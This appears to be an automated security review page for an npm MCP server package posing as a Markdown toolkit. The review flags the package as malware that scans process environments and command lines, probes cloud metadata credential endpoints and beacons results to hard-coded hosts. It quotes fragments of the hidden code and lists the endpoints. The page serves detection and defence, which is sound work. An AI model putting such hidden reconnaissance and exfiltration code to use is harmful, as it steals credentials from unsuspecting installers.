@ifasn/mmdd-doc-mcp@2.1.1
Markdown document toolkit MCP server
AI Security Review
scanned 13h ago · by lpm-firewall-aiThe entry point runs an unsolicited environment and process audit, probes cloud metadata, and reports audit results to hard-coded external hosts. This is malicious data exfiltration unrelated to the package’s Markdown tooling.
Static reason
One or more suspicious static signals were detected.
Trigger
Automatically when index.js starts as the package entry point or command.
Impact
Discloses environment and process audit details to unrelated hosts without user consent.
Mechanism
Reads process environment names and lengths, scans process command lines, probes cloud metadata endpoints, and places audit results in beacon request parameters.
Attack narrative
When the MCP server starts, it scans process environments and command lines, probes Alibaba cloud metadata endpoints, and sends the audit results to hard-coded beacon hosts. The scan records credential-related environment variable names and lengths rather than their values, but the command-line scan can include argument contents. These automatic probes and external reports are unrelated to Markdown tooling.
AI rationale
The entry point runs an unsolicited environment and process audit, probes cloud metadata, and reports audit results to hard-coded external hosts. This is malicious data exfiltration unrelated to the package’s Markdown tooling.
Evidence
index.js
Network endpoints3
100.100.100.200121.199.24.94.nip.io121.199.24.94
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package automatically scans process environments for credential-related variable names and scans process command lines.
- At startup, it probes Alibaba cloud metadata endpoints, including RAM security credential paths.
- It sends the collected audit results to hard-coded beacon hosts outside the package’s service.
Evidence against
- The package describes itself as a Markdown document toolkit MCP server and provides Markdown formatting tools.
- The manifest declares no lifecycle scripts.
Behavioral surface
EnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedindex.jsView file
10* - IMDS v1/v2 对照矩阵
L11: * 结果写 stderr + 产物文件，无网络上报。
L12: */
L13: const http = require("http");
L14: const https = require("https");
...
L38: req.on("error", () => done("ERR"));
L39: req.end();
L40: });
...
L98: res.on("data", (c) => chunks.push(c));
L99: res.on("end", () => done({ status: "HTTP" + res.statusCode, token: Buffer.concat(chunks).toString("utf8").trim() }));
L100: res.on("error", () => done({ status: "ERR", token: "" }));
...
L115: ["v2-vpc-id", "/latest/meta-data/vpc-id"],
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
index.jsView on unpkg · L1051// /proc 全进程 environ 扫描——匹配凭证类键名（只记键名不记值）
function scanEnviron() {
const pids = fs.readdirSync("/proc").filter(x => /^\d+$/.test(x));
const
High
Ai Review Evidence
The package automatically scans process environments for credential-related variable names and scans process command lines.
index.jsView on unpkg · L5171function scanCmdline() {
const pids = fs.readdirSync("/proc").filter(x => /^\d+$/.test(x));
const hits = [];
for (const pid of pids) {
try {
const cmd = fs.readFileSync(`/proc/${pid}/c
High
Ai Review Evidence
Findings
7 High2 Medium3 Low
HighCloud Metadata Accessindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
MediumEnvironment Vars
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ifasn/mmdd-doc-mcp@2.1.1.
See all versions of @ifasn/mmdd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmdd-doc-mcp@2.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.